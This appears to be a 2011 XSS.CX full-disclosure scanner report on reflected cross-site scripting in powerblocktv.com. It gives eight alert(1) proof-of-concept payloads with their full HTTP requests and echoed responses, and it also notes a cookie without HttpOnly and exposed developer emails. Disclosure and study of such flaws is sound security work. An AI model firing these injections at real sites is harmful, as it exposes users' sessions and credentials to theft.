XSS, DORK, Cross Site Scripting, powerblocktv.com, Javascript

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Mon Apr 18 12:25:30 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog

Current Research | Full Disclosure | As of March 14, 2011

Plesk SMB 10.2.0 Windows - Site Editor | Full Disclosure
Plesk Small Business Manager 10.2.0 for Windows | Full Disclosure
Hoyt LLC Research | Full Disclosure Report on Stored XSS in SmarterMail 8.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterStats 6.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterMail 7.x Series
Loading

1. Cross-site scripting (reflected)

1.1. http://www.powerblocktv.com/site3 [name of an arbitrarily supplied request parameter]

1.2. http://www.powerblocktv.com/site3 [name of an arbitrarily supplied request parameter]

1.3. http://www.powerblocktv.com/site3/ [name of an arbitrarily supplied request parameter]

1.4. http://www.powerblocktv.com/site3/ [name of an arbitrarily supplied request parameter]

1.5. http://www.powerblocktv.com/site3/fpss/templates/pb-temp/template_css.php [h parameter]

1.6. http://www.powerblocktv.com/site3/fpss/templates/pb-temp/template_css.php [w parameter]

1.7. http://www.powerblocktv.com/site3/index.php/xtreme [name of an arbitrarily supplied request parameter]

1.8. http://www.powerblocktv.com/site3/index.php/xtreme [name of an arbitrarily supplied request parameter]

2. Cookie without HttpOnly flag set

3. Email addresses disclosed

3.1. http://www.powerblocktv.com/site3/media/system/js/caption.js

3.2. http://www.powerblocktv.com/site3/plugins/system/rokbox/rokbox.js

3.3. http://www.powerblocktv.com/site3/templates/rt_hyperion_j15/js/rokmenuslide.js

3.4. http://www.powerblocktv.com/site3/templates/rt_hyperion_j15/js/roktop-panel.js



1. Cross-site scripting (reflected)  next
There are 8 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.powerblocktv.com/site3 [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.powerblocktv.com
Path:   /site3

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2e205"-alert(1)-"df5df20c25c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /site3?2e205"-alert(1)-"df5df20c25c=1 HTTP/1.1
Host: www.powerblocktv.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 16:43:18 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
Set-Cookie: 797c281b27bb0fb82da6f6fa2d15c6d7=kef6as1gij6m5t71r81rkjqdn2; path=/
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Apr 2011 16:43:20 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 78252


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >


...[SNIP]...
<!--
/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName="http://www.powerblocktv.com/site3/?2e205"-alert(1)-"df5df20c25c=1"
s.server="powerblocktv.com"
s.channel="powerblocktv:powerblock"
s.pageType=""
s.prop1="powerblocktv:powerblock"
s.prop2="powerblocktv:powerblock"
s.prop3=s.getQueryParam('cid')
s.prop4="section:pow
...[SNIP]...

1.2. http://www.powerblocktv.com/site3 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.powerblocktv.com
Path:   /site3

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 5b48d--><script>alert(1)</script>d4c896e4647 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /site3?5b48d--><script>alert(1)</script>d4c896e4647=1 HTTP/1.1
Host: www.powerblocktv.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 16:43:27 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
Set-Cookie: 797c281b27bb0fb82da6f6fa2d15c6d7=jf9p5s3n2i55jpinqanm3p6lh6; path=/
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Apr 2011 16:43:29 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 78316


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >


...[SNIP]...
<a href="/site3/index.php?5b48d--><script>alert(1)</script>d4c896e4647=1&amp;fontstyle=f-larger" title="Increase size" class="large">
...[SNIP]...

1.3. http://www.powerblocktv.com/site3/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.powerblocktv.com
Path:   /site3/

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 866d0--><script>alert(1)</script>f077daa7caa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /site3/?866d0--><script>alert(1)</script>f077daa7caa=1 HTTP/1.1
Host: www.powerblocktv.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 16:43:30 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
Set-Cookie: 797c281b27bb0fb82da6f6fa2d15c6d7=0sj6r0fsgckvhq2fi6m4msanb4; path=/
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Apr 2011 16:43:32 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 78316


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >


...[SNIP]...
<a href="/site3/index.php?866d0--><script>alert(1)</script>f077daa7caa=1&amp;fontstyle=f-larger" title="Increase size" class="large">
...[SNIP]...

1.4. http://www.powerblocktv.com/site3/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.powerblocktv.com
Path:   /site3/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 345d8"-alert(1)-"4bb40acc350 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /site3/?345d8"-alert(1)-"4bb40acc350=1 HTTP/1.1
Host: www.powerblocktv.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 16:43:21 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
Set-Cookie: 797c281b27bb0fb82da6f6fa2d15c6d7=74t3j28l0kfbactd0l4b8gbnr0; path=/
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Apr 2011 16:43:23 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 78252


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >


...[SNIP]...
<!--
/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName="http://www.powerblocktv.com/site3/?345d8"-alert(1)-"4bb40acc350=1"
s.server="powerblocktv.com"
s.channel="powerblocktv:powerblock"
s.pageType=""
s.prop1="powerblocktv:powerblock"
s.prop2="powerblocktv:powerblock"
s.prop3=s.getQueryParam('cid')
s.prop4="section:pow
...[SNIP]...

1.5. http://www.powerblocktv.com/site3/fpss/templates/pb-temp/template_css.php [h parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.powerblocktv.com
Path:   /site3/fpss/templates/pb-temp/template_css.php

Issue detail

The value of the h request parameter is copied into the HTML document as plain text between tags. The payload e31f2<script>alert(1)</script>21efb87fa3a was submitted in the h parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /site3/fpss/templates/pb-temp/template_css.php?w=675&h=275e31f2<script>alert(1)</script>21efb87fa3a&sw=200 HTTP/1.1
Host: www.powerblocktv.com
Proxy-Connection: keep-alive
Referer: http://www.powerblocktv.com/site3/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 797c281b27bb0fb82da6f6fa2d15c6d7=j7edhcslagi7fabj68o4ef19k2; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 16:43:02 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
Content-Length: 4098
Connection: close
Content-Type: text/css; charset: UTF-8

/*
// "Frontpage Slideshow" by JoomlaWorks - Version 1.7.2
// Copyright (c) 2006 - 2008 JoomlaWorks, a Komrade LLC company.
// This code cannot be redistributed without permission from JoomlaWorks
...[SNIP]...
;*/width:675px;border:0px solid #ccc;padding:0px;margin:0px auto;}
#fpss-container {position:relative;width:675px;}
#fpss-slider {overflow:hidden;background:none;/*clear:both;*/width:675px;height:275e31f2<script>alert(1)</script>21efb87fa3apx;}
#slide-loading {background:#000 url(loading_black.gif) no-repeat center;text-align:center;width:675px;height:275e31f2<script>
...[SNIP]...

1.6. http://www.powerblocktv.com/site3/fpss/templates/pb-temp/template_css.php [w parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.powerblocktv.com
Path:   /site3/fpss/templates/pb-temp/template_css.php

Issue detail

The value of the w request parameter is copied into the HTML document as plain text between tags. The payload 5f01e<script>alert(1)</script>b3b56be9b1a was submitted in the w parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /site3/fpss/templates/pb-temp/template_css.php?w=6755f01e<script>alert(1)</script>b3b56be9b1a&h=275&sw=200 HTTP/1.1
Host: www.powerblocktv.com
Proxy-Connection: keep-alive
Referer: http://www.powerblocktv.com/site3/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 797c281b27bb0fb82da6f6fa2d15c6d7=j7edhcslagi7fabj68o4ef19k2; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 16:43:01 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
Content-Length: 4098
Connection: close
Content-Type: text/css; charset: UTF-8

/*
// "Frontpage Slideshow" by JoomlaWorks - Version 1.7.2
// Copyright (c) 2006 - 2008 JoomlaWorks, a Komrade LLC company.
// This code cannot be redistributed without permission from JoomlaWorks
...[SNIP]...
rontpageslideshow.net
// Developers: Fotis Evangelou - George Chouliaras
// ***Last update: May 4th, 2008***
*/

/* --- Slideshow Containers --- */
#fpss-outer-container {/*clear:both;*/width:6755f01e<script>alert(1)</script>b3b56be9b1apx;border:0px solid #ccc;padding:0px;margin:0px auto;}
#fpss-container {position:relative;width:6755f01e<script>
...[SNIP]...

1.7. http://www.powerblocktv.com/site3/index.php/xtreme [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.powerblocktv.com
Path:   /site3/index.php/xtreme

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 979f7"-alert(1)-"f80e343a350 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /site3/index.php/xtreme?979f7"-alert(1)-"f80e343a350=1 HTTP/1.1
Host: www.powerblocktv.com
Proxy-Connection: keep-alive
Referer: http://www.powerblocktv.com/site3/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 797c281b27bb0fb82da6f6fa2d15c6d7=j7edhcslagi7fabj68o4ef19k2; __utmz=4694322.1303144987.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=%5B%5BB%5D%5D; com_jw_fpss=true; __utma=4694322.1437869223.1303144987.1303144987.1303144987.1; __utmc=4694322; __utmb=4694322.500.10.1303144987

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 16:46:00 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Apr 2011 16:46:02 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 59153


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >


...[SNIP]...
<!--
/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName="http://www.powerblocktv.com/site3/index.php/xtreme?979f7"-alert(1)-"f80e343a350=1"
s.server="powerblocktv.com"
s.channel="powerblocktv:powerblock"
s.pageType=""
s.prop1="powerblocktv:powerblock"
s.prop2="powerblocktv:powerblock"
s.prop3=s.getQueryParam('cid')
s.prop4="section:pow
...[SNIP]...

1.8. http://www.powerblocktv.com/site3/index.php/xtreme [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.powerblocktv.com
Path:   /site3/index.php/xtreme

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload a8299--><script>alert(1)</script>b3fc064eb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /site3/index.php/xtreme?a8299--><script>alert(1)</script>b3fc064eb=1 HTTP/1.1
Host: www.powerblocktv.com
Proxy-Connection: keep-alive
Referer: http://www.powerblocktv.com/site3/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 797c281b27bb0fb82da6f6fa2d15c6d7=j7edhcslagi7fabj68o4ef19k2; __utmz=4694322.1303144987.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=%5B%5BB%5D%5D; com_jw_fpss=true; __utma=4694322.1437869223.1303144987.1303144987.1303144987.1; __utmc=4694322; __utmb=4694322.500.10.1303144987

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 16:46:05 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Apr 2011 16:46:06 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 59209


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >


...[SNIP]...
<a href="/site3/index.php/xtreme?a8299--><script>alert(1)</script>b3fc064eb=1&amp;fontstyle=f-larger" title="Increase size" class="large">
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.powerblocktv.com
Path:   /site3/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /site3/ HTTP/1.1
Host: www.powerblocktv.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 16:42:51 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.17
Set-Cookie: 797c281b27bb0fb82da6f6fa2d15c6d7=mtsk6vhhtbtqre725h3325raa1; path=/
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Apr 2011 16:42:53 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 78116


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >


...[SNIP]...

3. Email addresses disclosed  previous
There are 4 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


3.1. http://www.powerblocktv.com/site3/media/system/js/caption.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.powerblocktv.com
Path:   /site3/media/system/js/caption.js

Issue detail

The following email address was disclosed in the response:

Request

GET /site3/media/system/js/caption.js HTTP/1.1
Host: www.powerblocktv.com
Proxy-Connection: keep-alive
Referer: http://www.powerblocktv.com/site3/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 797c281b27bb0fb82da6f6fa2d15c6d7=j7edhcslagi7fabj68o4ef19k2

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 16:42:26 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 11 Aug 2008 19:44:32 GMT
ETag: "3163e72-6f0-45434625ae800"
Accept-Ranges: bytes
Content-Length: 1776
Connection: close
Content-Type: application/x-javascript

/**
* @version        $Id: modal.js 5263 2006-10-02 01:25:24Z webImagery $
* @copyright    Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license        GNU/GPL, see LICENSE.php
* Joomla! is
...[SNIP]...
<johan.janssens@joomla.org>
...[SNIP]...

3.2. http://www.powerblocktv.com/site3/plugins/system/rokbox/rokbox.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.powerblocktv.com
Path:   /site3/plugins/system/rokbox/rokbox.js

Issue detail

The following email address was disclosed in the response:

Request

GET /site3/plugins/system/rokbox/rokbox.js HTTP/1.1
Host: www.powerblocktv.com
Proxy-Connection: keep-alive
Referer: http://www.powerblocktv.com/site3/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 797c281b27bb0fb82da6f6fa2d15c6d7=j7edhcslagi7fabj68o4ef19k2

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 16:42:26 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 11 Aug 2008 19:44:32 GMT
ETag: "760005-6cd2-45434625ae800"
Accept-Ranges: bytes
Content-Length: 27858
Connection: close
Content-Type: application/x-javascript

/**
* RokBox - Pops up all sort of media types, html, images, videos, audio, iframes.
*
* @version        1.0
*
* @author        Djamil Legato <djamil@rockettheme.com>
* @copyright    Andy Miller @ Roc
...[SNIP]...

3.3. http://www.powerblocktv.com/site3/templates/rt_hyperion_j15/js/rokmenuslide.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.powerblocktv.com
Path:   /site3/templates/rt_hyperion_j15/js/rokmenuslide.js

Issue detail

The following email address was disclosed in the response:

Request

GET /site3/templates/rt_hyperion_j15/js/rokmenuslide.js HTTP/1.1
Host: www.powerblocktv.com
Proxy-Connection: keep-alive
Referer: http://www.powerblocktv.com/site3/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 797c281b27bb0fb82da6f6fa2d15c6d7=j7edhcslagi7fabj68o4ef19k2

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 16:42:26 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 11 Aug 2008 19:44:32 GMT
ETag: "1010009-63f-45434625ae800"
Accept-Ranges: bytes
Content-Length: 1599
Connection: close
Content-Type: application/x-javascript

/**
* RokMenuSlider - An arrow that slides along the top menu bar
*
* @version        1.0
*
* @author        Djamil Legato <djamil@rockettheme.com>
* @copyright    Andy Miller @ Rockettheme, LLC
*
*/

eval
...[SNIP]...

3.4. http://www.powerblocktv.com/site3/templates/rt_hyperion_j15/js/roktop-panel.js  previous

Summary

